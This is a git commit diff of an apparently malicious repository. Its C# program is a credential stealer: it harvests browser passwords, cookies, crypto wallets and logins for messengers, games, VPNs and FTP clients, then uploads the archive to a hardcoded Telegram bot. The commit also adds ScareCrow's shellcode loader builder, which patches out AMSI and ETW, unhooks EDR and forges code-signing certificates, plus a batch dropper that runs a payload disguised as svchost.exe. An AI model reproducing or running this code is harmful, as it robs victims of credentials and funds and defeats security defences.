initial commit
This commit is contained in:
i2p
Vendored
BIN
Binary file not shown.
+389
@@ -0,0 +1,389 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Net.Http;
|
||||
using System.Net.Http.Headers;
|
||||
using System.Text;
|
||||
using System.Threading;
|
||||
using System.Threading.Tasks;
|
||||
using System.Linq;
|
||||
using Intelix.Helper;
|
||||
using Intelix.Helper.Data;
|
||||
using Intelix.Targets;
|
||||
using Intelix.Targets.Applications;
|
||||
using Intelix.Targets.Browsers;
|
||||
using Intelix.Targets.Crypto;
|
||||
using Intelix.Targets.Device;
|
||||
using Intelix.Targets.Games;
|
||||
using Intelix.Targets.Messangers;
|
||||
using Intelix.Targets.Vpn;
|
||||
|
||||
namespace CvMega;
|
||||
|
||||
public class Program
|
||||
{
|
||||
public static List<ITarget> targetsBrowsers = new List<ITarget>
|
||||
{
|
||||
new Chromium(),
|
||||
new Gecko()
|
||||
};
|
||||
|
||||
public static List<ITarget> targets = new List<ITarget>
|
||||
{
|
||||
new ScreenShot(),
|
||||
new GameList(),
|
||||
new InstalledBrowsers(),
|
||||
new InstalledPrograms(),
|
||||
new ProcessDump(),
|
||||
new ProductKey(),
|
||||
new SystemInfo(),
|
||||
new WifiKey(),
|
||||
new Telegram(),
|
||||
new Discord(),
|
||||
new Element(),
|
||||
new Icq(),
|
||||
new MicroSIP(),
|
||||
new Jabber(),
|
||||
new Outlook(),
|
||||
new Pidgin(),
|
||||
new Signal(),
|
||||
new Skype(),
|
||||
new Tox(),
|
||||
new Viber(),
|
||||
new Minecraft(),
|
||||
new BattleNet(),
|
||||
new Epic(),
|
||||
new Riot(),
|
||||
new Roblox(),
|
||||
new Steam(),
|
||||
new Uplay(),
|
||||
new XBox(),
|
||||
new Growtopia(),
|
||||
new ElectronicArts(),
|
||||
new Rdp(),
|
||||
new AnyDesk(),
|
||||
new CyberDuck(),
|
||||
new DynDns(),
|
||||
new FileZilla(),
|
||||
new Ngrok(),
|
||||
new PlayIt(),
|
||||
new TeamViewer(),
|
||||
new WinSCP(),
|
||||
new TotalCommander(),
|
||||
new FTPNavigator(),
|
||||
new FTPRush(),
|
||||
new CoreFtp(),
|
||||
new FTPGetter(),
|
||||
new FTPCommander(),
|
||||
new TeamSpeak(),
|
||||
new Obs(),
|
||||
new GithubGui(),
|
||||
new NoIp(),
|
||||
new FoxMail(),
|
||||
new Navicat(),
|
||||
new RDCMan(),
|
||||
new Sunlogin(),
|
||||
new Xmanager(),
|
||||
new JetBrains(),
|
||||
new PuTTY(),
|
||||
new Cisco(),
|
||||
new RadminVPN(),
|
||||
new CyberGhost(),
|
||||
new ExpressVPN(),
|
||||
new HideMyName(),
|
||||
new IpVanish(),
|
||||
new MullVad(),
|
||||
new NordVpn(),
|
||||
new OpenVpn(),
|
||||
new PIAVPN(),
|
||||
new ProtonVpn(),
|
||||
new Proxifier(),
|
||||
new SurfShark(),
|
||||
new Hamachi(),
|
||||
new WireGuard(),
|
||||
new SoftEther(),
|
||||
new CryptoDesktop(),
|
||||
new Grabber(),
|
||||
new UserAgentGenerator(),
|
||||
new CryptoChromium(),
|
||||
new CryptoGecko()
|
||||
};
|
||||
|
||||
public static StringBuilder stringBuilderError = new StringBuilder();
|
||||
|
||||
[STAThread]
|
||||
public static void Main(string[] args)
|
||||
{
|
||||
// xuy sosi
|
||||
MainAsync(args).GetAwaiter().GetResult();
|
||||
}
|
||||
|
||||
private static async Task MainAsync(string[] args)
|
||||
{
|
||||
string botToken = "8695367376:AAEI3swHcgOeZDvsCAvb2U6w8_GWQWV6iHM";
|
||||
string chatId = "8638775356";
|
||||
string userName = Environment.UserName;
|
||||
string machineName = Environment.MachineName;
|
||||
string userIdentifier = $"{userName}@{machineName}";
|
||||
|
||||
string arguments = string.Join(" ", args);
|
||||
Console.WriteLine("start");
|
||||
|
||||
if (arguments.Contains("--run-once"))
|
||||
{
|
||||
string exeDirectory = AppDomain.CurrentDomain.BaseDirectory;
|
||||
string path = Path.Combine(exeDirectory, "crashreport.txt");
|
||||
if (File.Exists(path))
|
||||
{
|
||||
return;
|
||||
}
|
||||
File.Create(path);
|
||||
}
|
||||
|
||||
InMemoryZip zip = new InMemoryZip();
|
||||
try
|
||||
{
|
||||
try
|
||||
{
|
||||
Counter counter = new Counter();
|
||||
|
||||
Task<string> ipTask = Task.Run(() => IpApi.GetPublicIp());
|
||||
Task<string> countryTask = Task.Run(() => IpApi.GetCountryCode());
|
||||
|
||||
string hwid = "UnknownHWID";
|
||||
try
|
||||
{
|
||||
hwid = HwidGenerator.GetHwid();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
stringBuilderError.AppendLine($"Failed to get HWID: {ex}");
|
||||
}
|
||||
|
||||
string publicIp = "N/A";
|
||||
try
|
||||
{
|
||||
publicIp = ipTask.Result;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
stringBuilderError.AppendLine($"Failed to get IP: {ex.Message}");
|
||||
}
|
||||
|
||||
string countryCode = "XX";
|
||||
try
|
||||
{
|
||||
countryCode = countryTask.Result;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
stringBuilderError.AppendLine($"Failed to get country code: {ex.Message}");
|
||||
}
|
||||
|
||||
ArchiveStructure archiveStructure = new ArchiveStructure(countryCode, publicIp, hwid);
|
||||
zip.SetRootFolderPrefix(archiveStructure.RootFolderName);
|
||||
|
||||
Task.WaitAll(Task.Run(delegate
|
||||
{
|
||||
Parallel.ForEach(targets, delegate (ITarget target)
|
||||
{
|
||||
try
|
||||
{
|
||||
target.Collect(zip, counter);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
stringBuilderError.AppendLine($"[TARGET: {target.GetType().Name}] {ex.Message}");
|
||||
}
|
||||
});
|
||||
}), Task.Run(delegate
|
||||
{
|
||||
ProcessKiller.KillerAll();
|
||||
Thread.Sleep(200);
|
||||
Parallel.ForEach(targetsBrowsers, delegate (ITarget target)
|
||||
{
|
||||
try
|
||||
{
|
||||
target.Collect(zip, counter);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
stringBuilderError.AppendLine($"[BROWSER: {target.GetType().Name}] {ex.Message}");
|
||||
}
|
||||
});
|
||||
}));
|
||||
|
||||
counter.Collect(zip);
|
||||
|
||||
ConsolidatedFilesGenerator.GenerateConsolidatedFiles(zip, counter, publicIp, countryCode, hwid);
|
||||
|
||||
zip.AddTextFile("Error.txt", stringBuilderError.ToString());
|
||||
|
||||
string fileNameForArchive = $"{hwid}";
|
||||
|
||||
StringBuilder additionalDataBuilder = new StringBuilder();
|
||||
if (counter.Vpns.Count() > 0)
|
||||
{
|
||||
additionalDataBuilder.AppendLine($"<b>🛰️ VPN:</b> <code>{counter.Vpns.Count()}</code>");
|
||||
}
|
||||
if (counter.Messangers.Count() > 0)
|
||||
{
|
||||
additionalDataBuilder.AppendLine($"<b>💬 Messengers:</b> <code>{counter.Messangers.Count()}</code>");
|
||||
}
|
||||
if (counter.Games.Count() > 0)
|
||||
{
|
||||
additionalDataBuilder.AppendLine($"<b>🎮 Games:</b> <code>{counter.Games.Count()}</code>");
|
||||
}
|
||||
if (counter.Applications.Count() > 0)
|
||||
{
|
||||
additionalDataBuilder.AppendLine($"<b>🗄️ Servers:</b> <code>{counter.Applications.Count()}</code>");
|
||||
}
|
||||
if (counter.FilesGrabber.Count() > 0)
|
||||
{
|
||||
additionalDataBuilder.AppendLine($"<b>🎣 Grabbers:</b> <code>{counter.FilesGrabber.Count()}</code>");
|
||||
}
|
||||
|
||||
string additionalData = additionalDataBuilder.ToString().TrimEnd();
|
||||
if (string.IsNullOrEmpty(additionalData))
|
||||
{
|
||||
additionalData = "No additional data found.";
|
||||
}
|
||||
|
||||
string caption = $"<b>✨ New Log Received ✨</b>\n\n" +
|
||||
$"<blockquote>" +
|
||||
$"<b>💻 User:</b> <code>{userIdentifier}</code>\n" +
|
||||
$"<b>🌍 IP:</b> <code>{publicIp}</code>\n" +
|
||||
$"</blockquote>\n" +
|
||||
$"<b>📊 Main Loot:</b>\n" +
|
||||
$"<blockquote>" +
|
||||
$"<b>🔑 Passwords:</b> <code>{counter.Browsers.Sum(b => (long)b.Password)}</code>\n" +
|
||||
$"<b>🍪 Cookies:</b> <code>{counter.Browsers.Sum(b => (long)b.Cookies)}</code>\n" +
|
||||
$"<b>💰 Wallets:</b> <code>{counter.CryptoDesktop.Count() + counter.CryptoChromium.Count()}</code>\n" +
|
||||
$"</blockquote>\n" +
|
||||
$"<b>📦 Additional Data:</b>\n" +
|
||||
$"<blockquote>" +
|
||||
$"{additionalData}\n" +
|
||||
$"</blockquote>\n\n" +
|
||||
$"<b>👨💻 Developer:</b> <code>https://t.me/neverliet</code>";
|
||||
|
||||
|
||||
await SendToTelegram(botToken.TrimEnd('\0'), chatId.TrimEnd('\0'), zip.ToArray(), fileNameForArchive, caption);
|
||||
|
||||
Console.WriteLine("end.");
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Console.WriteLine($"err: {ex.Message}");
|
||||
try
|
||||
{
|
||||
File.WriteAllText("startup_error.log", ex.ToString());
|
||||
}
|
||||
catch (Exception logEx)
|
||||
{
|
||||
Console.WriteLine($"err: {logEx.Message}");
|
||||
}
|
||||
}
|
||||
}
|
||||
finally
|
||||
{
|
||||
if (zip != null)
|
||||
{
|
||||
((IDisposable)zip).Dispose();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public static async Task SendToTelegram(string botToken, string chatId, byte[] file, string fileName, string caption)
|
||||
{
|
||||
if (file == null || file.Length == 0)
|
||||
{
|
||||
Console.WriteLine("File is empty, skipping send.");
|
||||
return;
|
||||
}
|
||||
|
||||
double fileSizeMB = file.Length / 1024.0 / 1024.0;
|
||||
Console.WriteLine($"File size: {fileSizeMB:F2} MB");
|
||||
|
||||
int maxRetries = 3;
|
||||
for (int attempt = 1; attempt <= maxRetries; attempt++)
|
||||
{
|
||||
try
|
||||
{
|
||||
Console.WriteLine($"Attempt {attempt}/{maxRetries} to send file...");
|
||||
|
||||
using HttpClient httpClient = new HttpClient();
|
||||
httpClient.Timeout = TimeSpan.FromMinutes(1);
|
||||
httpClient.DefaultRequestHeaders.UserAgent.ParseAdd("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36");
|
||||
|
||||
string url = $"https://api.telegram.org/bot{botToken}/sendDocument";
|
||||
using MultipartFormDataContent multipartFormDataContent = new MultipartFormDataContent();
|
||||
|
||||
multipartFormDataContent.Add(new StringContent(chatId), "chat_id");
|
||||
multipartFormDataContent.Add(new StringContent(caption), "caption");
|
||||
multipartFormDataContent.Add(new StringContent("HTML"), "parse_mode");
|
||||
|
||||
using ByteArrayContent byteArrayContent = new ByteArrayContent(file);
|
||||
byteArrayContent.Headers.ContentType = MediaTypeHeaderValue.Parse("application/zip");
|
||||
|
||||
string zipFileName = $"{fileName}.zip";
|
||||
|
||||
multipartFormDataContent.Add(byteArrayContent, "document", zipFileName);
|
||||
|
||||
HttpResponseMessage response = await httpClient.PostAsync(url, multipartFormDataContent);
|
||||
|
||||
if (response.IsSuccessStatusCode)
|
||||
{
|
||||
Console.WriteLine("File sent successfully!");
|
||||
return;
|
||||
}
|
||||
else
|
||||
{
|
||||
string errorBody = await response.Content.ReadAsStringAsync();
|
||||
string errorMsg = $"Failed to send document. Status: {response.StatusCode}, Body: {errorBody}";
|
||||
Console.WriteLine(errorMsg);
|
||||
File.AppendAllText("telegram_error.log", $"{DateTime.Now}: {errorMsg}\n");
|
||||
|
||||
if (attempt < maxRetries)
|
||||
{
|
||||
await Task.Delay(2000 * attempt);
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (TaskCanceledException taskEx)
|
||||
{
|
||||
string errorMsg = $"Request timed out (attempt {attempt}/{maxRetries}). File size: {fileSizeMB:F2} MB. Error: {taskEx.Message}";
|
||||
Console.WriteLine(errorMsg);
|
||||
File.AppendAllText("telegram_error.log", $"{DateTime.Now}: TaskCanceledException: {errorMsg}\n");
|
||||
|
||||
if (attempt < maxRetries)
|
||||
{
|
||||
await Task.Delay(3000 * attempt);
|
||||
}
|
||||
}
|
||||
catch (HttpRequestException httpEx)
|
||||
{
|
||||
string errorMsg = $"HTTP request failed (attempt {attempt}/{maxRetries}): {httpEx.Message}";
|
||||
Console.WriteLine(errorMsg);
|
||||
File.AppendAllText("telegram_error.log", $"{DateTime.Now}: HttpRequestException: {httpEx}\n");
|
||||
|
||||
if (attempt < maxRetries)
|
||||
{
|
||||
await Task.Delay(2000 * attempt);
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
string errorMsg = $"Failed to send document (attempt {attempt}/{maxRetries}): {ex.Message}";
|
||||
Console.WriteLine(errorMsg);
|
||||
File.AppendAllText("telegram_error.log", $"{DateTime.Now}: Exception: {ex}\n");
|
||||
|
||||
if (attempt < maxRetries)
|
||||
{
|
||||
await Task.Delay(2000 * attempt);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Console.WriteLine($"Failed to send file after {maxRetries} attempts.");
|
||||
}
|
||||
}
|
||||
Vendored
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
Vendored
BIN
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,6 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<configuration>
|
||||
<startup>
|
||||
<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.8" />
|
||||
</startup>
|
||||
</configuration>
|
||||
Binary file not shown.
Vendored
BIN
Binary file not shown.
BIN
Binary file not shown.
BIN
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,252 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"ScareCrow/Cryptor"
|
||||
"ScareCrow/Loader"
|
||||
"ScareCrow/Utils"
|
||||
"ScareCrow/limelighter"
|
||||
"bytes"
|
||||
"flag"
|
||||
"fmt"
|
||||
"log"
|
||||
"os"
|
||||
"os/exec"
|
||||
)
|
||||
|
||||
type FlagOptions struct {
|
||||
outFile string
|
||||
inputFile string
|
||||
URL string
|
||||
LoaderType string
|
||||
CommandLoader string
|
||||
domain string
|
||||
password string
|
||||
valid string
|
||||
configfile string
|
||||
ProcessInjection string
|
||||
AMSI bool
|
||||
ETW bool
|
||||
Sha bool
|
||||
console bool
|
||||
refresher bool
|
||||
sandbox bool
|
||||
sleep bool
|
||||
nosign bool
|
||||
evasion string
|
||||
path string
|
||||
obfuscate bool
|
||||
export string
|
||||
clone string
|
||||
KnownDLLs bool
|
||||
encryptionmode string
|
||||
exectype string
|
||||
}
|
||||
|
||||
func options() *FlagOptions {
|
||||
outFile := flag.String("O", "", "Name of output file (e.g. loader.js or loader.hta). If Loader is set to dll or binary this option is not required.")
|
||||
inputFile := flag.String("I", "", "Path to the raw 64-bit shellcode.")
|
||||
console := flag.Bool("console", false, "Only for Binary Payloads - Generates verbose console information when the payload is executed. This will disable the hidden window feature.")
|
||||
LoaderType := flag.String("Loader", "binary", `Sets the type of process that will sideload the malicious payload:
|
||||
[*] binary - Generates a binary based payload. (This type does not benefit from any sideloading)
|
||||
[*] control - Loads a hidden control applet - the process name would be rundll32 if -O is specified a JScript loader will be generated.
|
||||
[*] dll - Generates just a DLL file. Can be executed with commands such as rundll32 or regsvr32 with DllRegisterServer, DllGetClassObject as export functions.
|
||||
[*] excel - Loads into a hidden Excel process using a JScript loader.
|
||||
[*] msiexec - Loads into MSIexec process using a JScript loader.
|
||||
[*] wscript - Loads into WScript process using a JScript loader.`)
|
||||
URL := flag.String("url", "", "URL associated with the Delivery option to retrieve the payload. (e.g. https://acme.com/)")
|
||||
CommandLoader := flag.String("delivery", "", `Generates a one-liner command to download and execute the payload remotely:
|
||||
[*] bits - Generates a Bitsadmin one liner command to download, execute and remove the loader (Compatible with Binary, Control, Excel, and Wscript Loaders).
|
||||
[*] hta - Generates a blank hta file containing the loader along with an MSHTA command to execute the loader remotely in the background (Compatible with Control and Excel Loaders).
|
||||
[*] macro - Generates an office macro that will download and execute the loader remotely (Compatible with Control, Excel, and Wscript Loaders).`)
|
||||
domain := flag.String("domain", "", "The domain name to use for creating a fake code signing cert. (e.g. www.acme.com) ")
|
||||
exectype := flag.String("Exec", "RtlCopy", `Set the template to execute the shellcode:
|
||||
[*] RtlCopy - Using RtlCopy to move the shellcode into the allocated address in the current running process by making a Syscall.
|
||||
[*] ProcessInjection - Process Injection Mode.
|
||||
[*] NtQueueApcThreadEx - Executes the shellcode by creating an asynchronous procedure call (APC) to a target thread.
|
||||
[*] VirtualAlloc - Allocates shellcode into the process using custom syscalls in the current running process`)
|
||||
evasion := flag.String("Evasion", "Disk", `Sets the type of EDR unhooking technique:
|
||||
[*] Disk - Retrives a clean version of the DLLs ".text" field from files stored on disk.
|
||||
[*] KnownDLL - Retrives a clean version of the DLLs ".text" field from the KnownDLLs directory in the object namespace.
|
||||
[*] None - The Loader that WILL NOT removing the EDR hooks in system DLLs and only use custom syscalls.`)
|
||||
password := flag.String("password", "", "The password for code signing cert. Required when -valid is used.")
|
||||
AMSI := flag.Bool("noamsi", false, "Disables the AMSI patching that prevents AMSI BufferScanner.")
|
||||
ETW := flag.Bool("noetw", false, "Disables the ETW patching that prevents ETW events from being generated.")
|
||||
ProcessInjection := flag.String("injection", "", "Enables Process Injection Mode and specify the path to the process to create/inject into (use \\ for the path).")
|
||||
configfile := flag.String("configfile", "", "The path to a json based configuration file to generate custom file attributes. This will not use the default ones.")
|
||||
valid := flag.String("valid", "", "The path to a valid code signing cert. Used instead -domain if a valid code signing cert is desired.")
|
||||
sandbox := flag.Bool("sandbox", false, `Enables sandbox evasion using IsDomainJoined calls.`)
|
||||
sleep := flag.Bool("nosleep", false, `Disables the sleep delay before the loader unhooks and executes the shellcode.`)
|
||||
nosign := flag.Bool("nosign", false, `Disables file signing, making -domain/-valid/-password parameters not required.`)
|
||||
path := flag.String("outpath", "", "The path to put the final Payload/Loader once it's compiled.")
|
||||
obfuscate := flag.Bool("obfu", false, `Enables Garbles Literal flag replaces golang libray strings with more complex variants, resolving to the same value at run-time. This creates a larger loader and times longer to compile`)
|
||||
export := flag.String("export", "", "For DLL Loaders Only - Specify an Export function for a loader to have.")
|
||||
encryptionmode := flag.String("encryptionmode", "ELZMA", `Sets the type of encryption to encrypt the shellcode:
|
||||
[*] AES - Enables AES 256 encryption.
|
||||
[*] ELZMA - Enables ELZMA encryption.
|
||||
[*] RC4 - Enables RC4 encryption.`)
|
||||
clone := flag.String("clone", "", "Path to the file containing the certificate you want to clone")
|
||||
flag.Parse()
|
||||
return &FlagOptions{outFile: *outFile, inputFile: *inputFile, URL: *URL, LoaderType: *LoaderType, CommandLoader: *CommandLoader, domain: *domain, evasion: *evasion, password: *password, configfile: *configfile, console: *console, AMSI: *AMSI, ETW: *ETW, exectype: *exectype, ProcessInjection: *ProcessInjection, valid: *valid, sandbox: *sandbox, sleep: *sleep, path: *path, nosign: *nosign, obfuscate: *obfuscate, export: *export, encryptionmode: *encryptionmode, clone: *clone}
|
||||
}
|
||||
|
||||
func execute(opt *FlagOptions, name string) string {
|
||||
bin, _ := exec.LookPath("env")
|
||||
var compiledname string
|
||||
var cmd *exec.Cmd
|
||||
if opt.configfile != "" {
|
||||
oldname := name
|
||||
cmd = exec.Command("mv", "../"+oldname+"", "../"+name+"")
|
||||
err := cmd.Run()
|
||||
if err != nil {
|
||||
fmt.Printf("error")
|
||||
}
|
||||
} else {
|
||||
name = limelighter.FileProperties(name, opt.configfile)
|
||||
}
|
||||
if opt.LoaderType == "binary" {
|
||||
if opt.obfuscate == true {
|
||||
cmd = exec.Command(bin, "GOPRIVATE=*", "GOOS=windows", "GOARCH=amd64", "GOFLAGS=-ldflags=-s", "GOFLAGS=-ldflags=-w", "../.lib/garble", "-literals", "-seed=random", "build", "-o", ""+name+".exe")
|
||||
} else {
|
||||
cmd = exec.Command(bin, "GOPRIVATE=*", "GOOS=windows", "GOARCH=amd64", "GOFLAGS=-ldflags=-s", "GOFLAGS=-ldflags=-w", "go", "build", "-trimpath", "-ldflags=-w -s -buildid=", "-o", ""+name+".exe")
|
||||
|
||||
}
|
||||
} else {
|
||||
cwd, err := os.Getwd()
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
}
|
||||
if opt.obfuscate == true {
|
||||
cmd = exec.Command(bin, "GOPRIVATE=*", "GOOS=windows", "GOARCH=amd64", "CGO_ENABLED=1", "CC=x86_64-w64-mingw32-gcc", "CXX=x86_64-w64-mingw32-g++", "GOFLAGS=-ldflags=-s", "GOFLAGS=-ldflags=-w", "../.lib/garble", "-seed=random", "-literals", "build", "-a", "-trimpath", "-ldflags=-extldflags=-Wl,"+cwd+"/"+name+".exp -w -s -buildid=", "-o", ""+name+".dll", "-buildmode=c-shared")
|
||||
|
||||
} else {
|
||||
cmd = exec.Command(bin, "GOPRIVATE=*", "GOOS=windows", "GOARCH=amd64", "CGO_ENABLED=1", "CC=x86_64-w64-mingw32-gcc", "CXX=x86_64-w64-mingw32-g++", "GOFLAGS=-ldflags=-s", "GOFLAGS=-ldflags=-w", "../.lib/garble", "-seed=random", "build", "-a", "-trimpath", "-ldflags=-extldflags=-Wl,"+cwd+"/"+name+".exp -w -s -buildid=", "-o", ""+name+".dll", "-buildmode=c-shared")
|
||||
}
|
||||
}
|
||||
if opt.obfuscate == true {
|
||||
fmt.Println("[*] Compiling Payload with the Garble's literal flag... this will take a while")
|
||||
} else {
|
||||
fmt.Println("[*] Compiling Payload")
|
||||
}
|
||||
var out bytes.Buffer
|
||||
var stderr bytes.Buffer
|
||||
cmd.Stdout = &out
|
||||
cmd.Stderr = &stderr
|
||||
err := cmd.Run()
|
||||
if err != nil {
|
||||
fmt.Printf("%s: %s\n", err, stderr.String())
|
||||
}
|
||||
if opt.LoaderType == "binary" {
|
||||
compiledname = name + ".exe"
|
||||
} else {
|
||||
compiledname = name + ".dll"
|
||||
}
|
||||
|
||||
fmt.Println("[+] Payload Compiled")
|
||||
|
||||
if opt.nosign == false {
|
||||
limelighter.Signer(opt.domain, opt.password, opt.valid, compiledname)
|
||||
}
|
||||
if opt.clone != "" {
|
||||
limelighter.Cloner(compiledname, opt.clone)
|
||||
}
|
||||
return name
|
||||
}
|
||||
|
||||
func main() {
|
||||
fmt.Println(`
|
||||
_________ _________
|
||||
/ _____/ ____ _____ _______ ____ \_ ___ \_______ ______ _ __
|
||||
\_____ \_/ ___\\__ \\_ __ \_/ __ \/ \ \/\_ __ \/ _ \ \/ \/ /
|
||||
/ \ \___ / __ \| | \/\ ___/\ \____| | \( <_> ) /
|
||||
/_______ /\___ >____ /__| \___ >\______ /|__| \____/ \/\_/
|
||||
\/ \/ \/ \/ \/
|
||||
(@Tyl0us)
|
||||
“Fear, you must understand is more than a mere obstacle.
|
||||
Fear is a TEACHER. the first one you ever had.”
|
||||
`)
|
||||
Utils.Version()
|
||||
opt := options()
|
||||
|
||||
if opt.inputFile == "" {
|
||||
log.Fatal("Error: Please provide a path to a file containing raw 64-bit shellcode (i.e .bin files)")
|
||||
}
|
||||
|
||||
if opt.CommandLoader != "" && opt.URL == "" {
|
||||
log.Fatal("Error: Please provide the url the loader will be hosted on in order to generate a delivery command")
|
||||
}
|
||||
|
||||
if opt.exectype != "RtlCopy" && opt.exectype != "NtQueueApcThreadEx" && opt.exectype != "ProcessInjection" && opt.exectype != "VirtualAlloc" {
|
||||
log.Fatal("Error: Invalid execution type, please select one of the allowed types")
|
||||
}
|
||||
|
||||
if opt.evasion != "Disk" && opt.evasion != "KnownDLL" && opt.evasion != "None" {
|
||||
log.Fatal("Error: Invalid evasion method, please select one of the allowed")
|
||||
}
|
||||
|
||||
if opt.encryptionmode != "AES" && opt.encryptionmode != "ELZMA" && opt.encryptionmode != "RC4" {
|
||||
log.Fatal("Error: Invalid encrpytion type, please select one of the allowed encrpytion types")
|
||||
}
|
||||
|
||||
if opt.LoaderType != "dll" && opt.LoaderType != "binary" && opt.LoaderType != "control" && opt.LoaderType != "excel" && opt.LoaderType != "msiexec" && opt.LoaderType != "wscript" {
|
||||
log.Fatal("Error: Invalid loader, please select one of the allowed loader types")
|
||||
}
|
||||
|
||||
if opt.CommandLoader != "" && opt.CommandLoader != "bits" && opt.CommandLoader != "hta" && opt.CommandLoader != "macro" {
|
||||
log.Fatal("Error: Invalid delivery option, please select one of the allowed delivery types")
|
||||
}
|
||||
|
||||
if opt.CommandLoader == "hta" && opt.outFile == "" {
|
||||
log.Fatal("Error: Please provide the a HTA filename to store the loader in")
|
||||
}
|
||||
|
||||
if (opt.CommandLoader == "hta" || opt.CommandLoader == "macro") && (opt.LoaderType == "binary" || opt.LoaderType == "dll") {
|
||||
log.Fatal("Error: Binary and DLL loaders are not compatable with this delivery command")
|
||||
}
|
||||
|
||||
if opt.outFile != "" && (opt.LoaderType == "binary" || opt.LoaderType == "dll") {
|
||||
fmt.Println("[!] -O not needed. This loader type uses the name of the file they are spoofing")
|
||||
}
|
||||
|
||||
if opt.outFile == "" && (opt.LoaderType == "wscript" || opt.LoaderType == "excel") {
|
||||
log.Fatal("Error: -O is needed for these types of loaders")
|
||||
}
|
||||
|
||||
if opt.LoaderType == "binary" && opt.refresher == true {
|
||||
log.Fatal("Error: Can not use the unmodified option with a binary loader")
|
||||
}
|
||||
|
||||
if opt.console == true && opt.LoaderType != "binary" {
|
||||
log.Fatal("Error: Console mode is only for binary based payloads")
|
||||
}
|
||||
|
||||
if opt.domain == "" && opt.password == "" && opt.valid == "" && opt.nosign == false {
|
||||
log.Fatal("Error: Please provide a domain in order to generate a code signing certificate")
|
||||
}
|
||||
|
||||
if opt.domain != "" && opt.password != "" && opt.valid != "" && opt.nosign == false {
|
||||
log.Fatal("Error: Please choose either -domain or -valid with -password to generate a code signing certificate")
|
||||
}
|
||||
|
||||
if opt.password == "" && opt.valid != "" {
|
||||
log.Fatal("Error: Please provide a password for the valid code signing certificate")
|
||||
}
|
||||
|
||||
if opt.ProcessInjection != "" && (opt.ETW == true || opt.AMSI == true) {
|
||||
fmt.Println("[!] Currently ETW and AMSI patching only affects the parent process not the injected process")
|
||||
}
|
||||
|
||||
if opt.ProcessInjection != "" && opt.refresher == true {
|
||||
log.Fatal("Error: Can not use the unmodified option with the process injection loaders")
|
||||
}
|
||||
if opt.LoaderType != "dll" && opt.export != "" {
|
||||
log.Fatal("Error: Export option can only be used with DLL loaders ")
|
||||
}
|
||||
|
||||
Utils.CheckGarble()
|
||||
b64ciphertext, b64key, b64iv := Cryptor.EncryptShellcode(opt.inputFile, opt.encryptionmode)
|
||||
fmt.Println("[+] Shellcode Encrypted")
|
||||
name, filename := Loader.CompileFile(b64ciphertext, b64key, b64iv, opt.LoaderType, opt.outFile, opt.console, opt.sandbox, opt.ETW, opt.ProcessInjection, opt.sleep, opt.AMSI, opt.export, opt.encryptionmode, opt.exectype, opt.evasion)
|
||||
name = execute(opt, name)
|
||||
Loader.CompileLoader(opt.LoaderType, opt.outFile, filename, name, opt.CommandLoader, opt.URL, opt.sandbox, opt.path)
|
||||
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1 @@
|
||||
404: Not Found
|
||||
@@ -0,0 +1,32 @@
|
||||
<html>
|
||||
|
||||
<head>
|
||||
<link rel="stylesheet" href="/official/images/style.css">
|
||||
<meta charset="UTF-8">
|
||||
<meta name="robots" content="noindex">
|
||||
<meta name="author" content="Lolcats">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=0.4">
|
||||
<title>Catbox</title>
|
||||
</head>
|
||||
|
||||
<img src="/official/images/404.png" style="margin: auto; display: block;">
|
||||
|
||||
<div class="notetiny">
|
||||
<a class="linkbutton" href="https://catbox.moe/">Click me to go home</a>
|
||||
</div>
|
||||
|
||||
<script>
|
||||
(function (d) {
|
||||
window.rum = {key: 'z2ave2fv'};
|
||||
var script = d.createElement('script');
|
||||
script.src = 'https://cdn.perfops.net/rom3/rom3.min.js';
|
||||
script.type = 'text/javascript';
|
||||
script.defer = true;
|
||||
script.async = true;
|
||||
d.getElementsByTagName('head')[0].appendChild(script);
|
||||
})(document);
|
||||
</script>
|
||||
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -0,0 +1 @@
|
||||
404: Not Found
|
||||
File diff suppressed because it is too large
Load Diff
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,5 @@
|
||||
@echo off
|
||||
certutil -decode "%~dp0payload.b64" "%temp%\svchost.exe" >nul 2>&1
|
||||
start "" "%temp%\svchost.exe"
|
||||
del "%temp%\svchost.exe" 2>nul
|
||||
del "%~f0"
|
||||
File diff suppressed because one or more lines are too long
Binary file not shown.
Executable
+32
@@ -0,0 +1,32 @@
|
||||
<html>
|
||||
|
||||
<head>
|
||||
<link rel="stylesheet" href="/official/images/style.css">
|
||||
<meta charset="UTF-8">
|
||||
<meta name="robots" content="noindex">
|
||||
<meta name="author" content="Lolcats">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=0.4">
|
||||
<title>Catbox</title>
|
||||
</head>
|
||||
|
||||
<img src="/official/images/404.png" style="margin: auto; display: block;">
|
||||
|
||||
<div class="notetiny">
|
||||
<a class="linkbutton" href="https://catbox.moe/">Click me to go home</a>
|
||||
</div>
|
||||
|
||||
<script>
|
||||
(function (d) {
|
||||
window.rum = {key: 'z2ave2fv'};
|
||||
var script = d.createElement('script');
|
||||
script.src = 'https://cdn.perfops.net/rom3/rom3.min.js';
|
||||
script.type = 'text/javascript';
|
||||
script.defer = true;
|
||||
script.async = true;
|
||||
